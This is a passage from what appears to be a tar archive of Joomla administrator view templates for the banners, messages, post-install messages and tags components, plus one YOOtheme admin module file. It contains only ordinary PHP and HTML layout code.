                                            <?php echo Text::_('COM_BANNERS_COUNT_ARCHIVED_ITEMS'); ?>
                                        </div>
                                    </td>
                                    <td class="text-center btns d-none d-md-table-cell itemnumber">
                                        <a class="btn <?php echo ($item->count_trashed > 0) ? 'btn-dark' : 'btn-secondary'; ?>" href="<?php echo Route::_('index.php?option=com_banners&view=banners&filter[client_id]=' . (int) $item->id . '&filter[published]=-2'); ?>"
                                        aria-describedby="tip-trashed<?php echo $i; ?>">
                                            <?php echo $item->count_trashed; ?>
                                        </a>
                                        <div role="tooltip" id="tip-trashed<?php echo $i; ?>">
                                            <?php echo Text::_('COM_BANNERS_COUNT_TRASHED_ITEMS'); ?>
                                        </div>
                                    </td>
                                    <td class="small d-none d-md-table-cell">
                                        <?php if ($item->purchase_type < 0) : ?>
                                            <?php echo Text::sprintf('COM_BANNERS_DEFAULT', Text::_('COM_BANNERS_FIELD_VALUE_' . $purchaseTypes[$params->get('purchase_type')])); ?>
                                        <?php else : ?>
                                            <?php echo Text::_('COM_BANNERS_FIELD_VALUE_' . $purchaseTypes[$item->purchase_type]); ?>
                                        <?php endif; ?>
                                    </td>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo $item->id; ?>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // Load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>

                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
clients/emptystate.php000064400000001531151740416760011130 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_BANNERS_CLIENT',
    'formURL'    => 'index.php?option=com_banners&view=clients',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help40:Banners:_Clients',
    'icon'       => 'icon-bookmark banners',
];

if (count(Factory::getApplication()->getIdentity()->getAuthorisedCategories('com_banners', 'core.create')) > 0) {
    $displayData['createURL'] = 'index.php?option=com_banners&task=client.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
banners/default_batch_body.php000064400000002544151740416760012527 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Layout\LayoutHelper;

/** @var \Joomla\Component\Banners\Administrator\View\Banners\HtmlView $this */

$published = (int) $this->state->get('filter.published');
?>


<div class="p-3">
    <div class="row">
        <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo HTMLHelper::_('banner.clients'); ?>
            </div>
        </div>
    </div>
    <div class="row">
        <?php if ($published >= 0) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.item', ['extension' => 'com_banners']); ?>
                </div>
            </div>
        <?php endif; ?>
    </div>
</div>
banners/default_batch_footer.php000064400000001511151740416760013061 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var \Joomla\Component\Banners\Administrator\View\Banners\HtmlView $this */

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-client-id').value='';document.getElementById('batch-language-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('banner.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
banners/default.php000064400000031216151740416760010347 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\Component\Banners\Administrator\View\Banners\HtmlView $this */

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_banners&task=banners.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_banners&view=banners'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php
                // Search tools bar
                echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
                ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="bannerList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_BANNERS_BANNERS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_NAME', 'a.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_STICKY', 'a.sticky', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_CLIENT', 'client_name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_IMPRESSIONS', 'impmade', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_CLICKS', 'clicks', $listDirn, $listOrder); ?>
                                </th>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody <?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                               endif; ?>>
                            <?php foreach ($this->items as $i => $item) :
                                $ordering  = ($listOrder == 'ordering');
                                $item->cat_link = Route::_('index.php?option=com_categories&extension=com_banners&task=edit&type=other&cid[]=' . $item->catid);
                                $canCreate  = $user->authorise('core.create', 'com_banners.category.' . $item->catid);
                                $canEdit    = $user->authorise('core.edit', 'com_banners.category.' . $item->catid);
                                $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || is_null($item->checked_out);
                                $canChange  = $user->authorise('core.edit.state', 'com_banners.category.' . $item->catid) && $canCheckin;
                                ?>
                                <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->catid; ?>">
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->name); ?>
                                    </td>
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php
                                        $iconClass = '';

                                        if (!$canChange) {
                                            $iconClass = ' inactive';
                                        } elseif (!$saveOrder) {
                                            $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                        }
                                        ?>
                                        <span class="sortable-handler <?php echo $iconClass ?>">
                                            <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                        </span>
                                        <?php if ($canChange && $saveOrder) : ?>
                                            <input type="text" name="order[]" size="5"
                                                value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                        <?php endif; ?>
                                    </td>
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('jgrid.published', $item->state, $i, 'banners.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
                                    </td>
                                    <th scope="row">
                                        <div class="break-word">
                                            <?php if ($item->checked_out) : ?>
                                                <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'banners.', $canCheckin); ?>
                                            <?php endif; ?>
                                            <?php if ($canEdit) : ?>
                                                <a href="<?php echo Route::_('index.php?option=com_banners&task=banner.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->name); ?>">
                                                    <?php echo $this->escape($item->name); ?></a>
                                            <?php else : ?>
                                                <?php echo $this->escape($item->name); ?>
                                            <?php endif; ?>
                                            <div class="small break-word">
                                                <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                            </div>
                                            <div class="small">
                                                <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                                            </div>
                                        </div>
                                    </th>
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('banner.pinned', $item->sticky, $i, $canChange); ?>
                                    </td>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo $item->client_name; ?>
                                    </td>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo Text::sprintf('COM_BANNERS_IMPRESSIONS', $item->impmade, $item->imptotal ?: Text::_('COM_BANNERS_UNLIMITED')); ?>
                                    </td>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo $item->clicks; ?> -
                                        <?php echo sprintf('%.2f%%', $item->impmade ? 100 * $item->clicks / $item->impmade : 0); ?>
                                    </td>
                                    <?php if (Multilanguage::isEnabled()) : ?>
                                        <td class="small d-none d-md-table-cell">
                                            <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                                        </td>
                                    <?php endif; ?>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo $item->id; ?>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // Load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form. ?>
                    <?php
                    if (
                        $user->authorise('core.create', 'com_banners')
                        && $user->authorise('core.edit', 'com_banners')
                        && $user->authorise('core.edit.state', 'com_banners')
                    ) : ?>
                        <?php echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'collapseModal',
                            [
                                'title' => Text::_('COM_BANNERS_BATCH_OPTIONS'),
                                'footer' => $this->loadTemplate('batch_footer')
                            ],
                            $this->loadTemplate('batch_body')
                        ); ?>
                    <?php endif; ?>
                <?php endif; ?>

                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
banners/emptystate.php000064400000001613151740416760011120 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_BANNERS',
    'formURL'    => 'index.php?option=com_banners&view=banners',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help40:Banners',
    'icon'       => 'icon-bookmark banners',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_banners') || count($user->getAuthorisedCategories('com_banners', 'core.create')) > 0) {
    $displayData['createURL'] = 'index.php?option=com_banners&task=banner.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
client/edit.php000064400000005363151740416760007502 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Banners\Administrator\View\Client\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>

<form action="<?php echo Route::_('index.php?option=com_banners&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="client-form" aria-label="<?php echo Text::_('COM_BANNERS_CLIENT_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'general', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'general', empty($this->item->id) ? Text::_('COM_BANNERS_NEW_CLIENT') : Text::_('COM_BANNERS_EDIT_CLIENT')); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php
                echo $this->form->renderField('contact');
                echo $this->form->renderField('email');
                echo $this->form->renderField('purchase_type');
                echo $this->form->renderField('track_impressions');
                echo $this->form->renderField('track_clicks');
                echo $this->form->renderFieldset('extra');
                ?>
            </div>
            <div class="col-lg-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'metadata', Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS')); ?>
        <div class="row">
            <div class="col-12 col-lg-6">
                <fieldset id="fieldset-metadata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                    <div>
                    <?php echo $this->form->renderFieldset('metadata'); ?>
                    </div>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
download/default.php000064400000002356151740416760010531 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\Component\Banners\Administrator\View\Download\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('form.validate');

?>
<div class="container-popup">
    <form
        class="form-horizontal form-validate"
        id="download-form"
        name="adminForm"
        action="<?php echo Route::_('index.php?option=com_banners&task=tracks.display&format=raw&' . Session::getFormToken() . '=1'); ?>"
        method="post">

        <?php foreach ($this->form->getFieldset() as $field) : ?>
            <?php echo $this->form->renderField($field->fieldname); ?>
        <?php endforeach; ?>

        <button class="visually-hidden"
            id="exportBtn"
            type="button"
            onclick="this.form.submit();window.top.setTimeout('window.parent.Joomla.Modal.getCurrent().close()', 700);">
        </button>
    </form>
</div>
default_legacy.php000060400000001677151740572530010245 0ustar00<?php

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;
use Joomla\CMS\Menu\MenuHelper;

defined('_JEXEC') or die();

if (in_array($module->position, ['icon', 'cpanel'])) {
    JLoader::register(ModQuickIconHelper::class, __DIR__ . '/helper.php');

    $buttons = [
        [
            'image' => ' yo-quicklink-cpanel-j3',
            'text' => 'YOOtheme',
            'link' => "index.php?option=com_ajax&templateStyle={$templ->id}&p=customizer&format=html",
            'group' => Text::_('MOD_YOOTHEME_LINK_TEMPLATES'),
            'access' => ['core.edit', 'com_templates'],
        ],
    ];

    require ModuleHelper::getLayoutPath('mod_quickicon');
}

if ($module->position === 'menu') {
    MenuHelper::addPreset('yootheme', 'YOOtheme', __DIR__ . '/../presets/yootheme.xml');

    $params = new Registry(['preset' => 'yootheme']);
    include JPATH_ADMINISTRATOR . '/modules/mod_menu/mod_menu.php';
}
message/default.php000064400000004724151740613360010342 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('core');

?>
<form action="<?php echo Route::_('index.php?option=com_messages'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="card">
        <div class="card-body">
            <fieldset>
                <div class="form-group">
                    <div class="control-label">
                        <?php echo Text::_('COM_MESSAGES_FIELD_USER_ID_FROM_LABEL'); ?>
                    </div>
                    <div class="p-3 bg-light border rounded">
                        <?php echo $this->item->get('from_user_name'); ?>
                    </div>
                </div>
                <div class="form-group">
                    <div class="control-label">
                        <?php echo Text::_('COM_MESSAGES_FIELD_DATE_TIME_LABEL'); ?>
                    </div>
                    <div class="p-3 bg-light border rounded">
                        <?php echo HTMLHelper::_('date', $this->item->date_time, Text::_('DATE_FORMAT_LC2')); ?>
                    </div>
                </div>
                <div class="form-group">
                    <div class="control-label">
                        <?php echo Text::_('COM_MESSAGES_FIELD_SUBJECT_LABEL'); ?>
                    </div>
                    <div class="p-3 bg-light border rounded">
                        <?php echo $this->item->subject; ?>
                    </div>
                </div>
                <div class="form-group">
                    <div class="control-label">
                        <?php echo Text::_('COM_MESSAGES_FIELD_MESSAGE_LABEL'); ?>
                    </div>
                    <div class="p-3 bg-light border rounded">
                        <?php echo $this->item->message; ?>
                    </div>
                </div>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="reply_id" value="<?php echo $this->item->message_id; ?>">
                <?php echo HTMLHelper::_('form.token'); ?>
            </fieldset>
        </div>
    </div>
</form>
message/edit.php000064400000003050151740613360007632 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

?>
<form action="<?php echo Route::_('index.php?option=com_messages'); ?>" method="post" name="adminForm" id="message-form" aria-label="<?php echo Text::_('COM_MESSAGES_FORM_NEW'); ?>" class="form-validate">
    <div class="adminform mt-2">
        <div class="card">
            <div class="card-body">
                <div class="form-group">
                    <?php echo $this->form->getLabel('user_id_to'); ?>
                    <?php echo $this->form->getInput('user_id_to'); ?>
                </div>
                <div class="form-group">
                    <?php echo $this->form->getLabel('subject'); ?>
                    <?php echo $this->form->getInput('subject'); ?>
                </div>
                <div class="form-group">
                    <?php echo $this->form->getLabel('message'); ?>
                    <?php echo $this->form->getInput('message'); ?>
                </div>
            </div>
        </div>
    </div>
    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
messages/default.xml000064400000001200151740613360010520 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_POSTINSTALL_MESSAGES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_POSTINSTALL_MESSAGES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic" label="JOPTIONS">
			<field
				name="ajax-badge"
				type="radio"
				label="COM_POSTINSTALL_MESSAGES_VIEW_DISPLAY_BADGE"
				layout="joomla.form.field.radio.switcher"
				default=""
				>
				<option value="">JHIDE</option>
				<option value="index.php?option=com_postinstall&amp;task=getMenuBadgeData&amp;format=json">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
messages/default.php000064400000007605151740613360010526 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_postinstall
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$adminFormClass = count($this->extension_options) > 1 ? 'form-inline mb-3' : 'visually-hidden';
?>

<form action="index.php" method="post" name="adminForm" class="<?php echo $adminFormClass; ?>" id="adminForm">
    <input type="hidden" name="option" value="com_postinstall">
    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
    <label for="eid" class="me-sm-2"><?php echo Text::_('COM_POSTINSTALL_MESSAGES_FOR'); ?></label>
    <?php echo HTMLHelper::_('select.genericlist', $this->extension_options, 'eid', ['onchange' => 'this.form.submit()', 'class' => 'form-select'], 'value', 'text', $this->eid, 'eid'); ?>
</form>

<?php foreach ($this->items as $item) : ?>
    <?php if ($item->enabled === 1) : ?>
        <div class="card card-outline-secondary mb-3">
            <div class="card-body">
                <h3><?php echo Text::_($item->title_key); ?></h3>
                <p class="small">
                    <?php echo Text::sprintf('COM_POSTINSTALL_LBL_SINCEVERSION', $item->version_introduced); ?>
                </p>
                <div>
                    <?php echo Text::_($item->description_key); ?>
                    <?php if ($item->type !== 'message') : ?>
                    <a href="<?php echo Route::_('index.php?option=com_postinstall&view=messages&task=message.action&id=' . $item->postinstall_message_id . '&' . $this->token . '=1'); ?>" class="btn btn-primary">
                        <?php echo Text::_($item->action_key); ?>
                    </a>
                    <?php endif; ?>
                    <?php if (Factory::getApplication()->getIdentity()->authorise('core.edit.state', 'com_postinstall')) : ?>
                    <a href="<?php echo Route::_('index.php?option=com_postinstall&view=messages&task=message.unpublish&id=' . $item->postinstall_message_id . '&' . $this->token . '=1'); ?>" class="btn btn-danger btn-sm">
                        <?php echo Text::_('COM_POSTINSTALL_BTN_HIDE'); ?>
                    </a>
                    <a href="<?php echo Route::_('index.php?option=com_postinstall&view=messages&task=message.archive&id=' . $item->postinstall_message_id . '&' . $this->token . '=1'); ?>" class="btn btn-danger btn-sm">
                        <?php echo Text::_('COM_POSTINSTALL_BTN_ARCHIVE'); ?>
                    </a>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    <?php elseif ($item->enabled === 2) : ?>
        <div class="card card-outline-secondary mb-3">
            <div class="card-body">
                <h3><?php echo Text::_($item->title_key); ?></h3>
                <div>
                    <?php if (Factory::getApplication()->getIdentity()->authorise('core.edit.state', 'com_postinstall')) : ?>
                        <a href="<?php echo Route::_('index.php?option=com_postinstall&view=messages&task=message.unpublish&id=' . $item->postinstall_message_id . '&' . $this->token . '=1'); ?>" class="btn btn-danger btn-sm">
                            <?php echo Text::_('COM_POSTINSTALL_BTN_HIDE'); ?>
                        </a>
                        <a href="<?php echo Route::_('index.php?option=com_postinstall&view=messages&task=message.republish&id=' . $item->postinstall_message_id . '&' . $this->token . '=1'); ?>" class="btn btn-success btn-sm">
                            <?php echo Text::_('COM_POSTINSTALL_BTN_REPUBLISH'); ?>
                        </a>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    <?php endif; ?>
<?php endforeach; ?>
messages/emptystate.php000064400000002563151740613360011277 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_postinstall
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$adminFormClass = count($this->extension_options) > 1 ? 'form-inline mb-3' : 'visually-hidden';
?>

<form action="index.php" method="post" name="adminForm" class="<?php echo $adminFormClass; ?>" id="adminForm">
    <input type="hidden" name="option" value="com_postinstall">
    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
    <label for="eid" class="me-sm-2"><?php echo Text::_('COM_POSTINSTALL_MESSAGES_FOR'); ?></label>
    <?php echo HTMLHelper::_('select.genericlist', $this->extension_options, 'eid', ['onchange' => 'this.form.submit()', 'class' => 'form-select'], 'value', 'text', $this->eid, 'eid'); ?>
</form>

<?php
$displayData = [
    'textPrefix' => 'COM_POSTINSTALL',
    'formURL'    => 'index.php?option=com_postinstall',
    'icon'       => 'icon-bell',
    'createURL'  => 'index.php?option=com_postinstall&view=messages&task=message.reset&eid=' . $this->eid . '&' . $this->token . '=1',
];

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
tags/default_batch_footer.php000064400000001271151743354120012364 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('tag.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
tags/default_batch_body.php000064400000001567151743354120012033 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Layout\LayoutHelper;
?>

<div class="p-3">
    <div class="row">
        <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
</div>
tags/emptystate.php000064400000001457151743354120010426 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_TAGS',
    'formURL'    => 'index.php?option=com_tags&task=tag.add',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/J4.x:How_To_Use_Content_Tags_in_Joomla',
    'icon'       => 'icon-tags tags',
];

if (Factory::getApplication()->getIdentity()->authorise('core.create', 'com_tags')) {
    $displayData['createURL'] = 'index.php?option=com_tags&task=tag.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
tag/edit.php000064400000006016151743354120006765 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

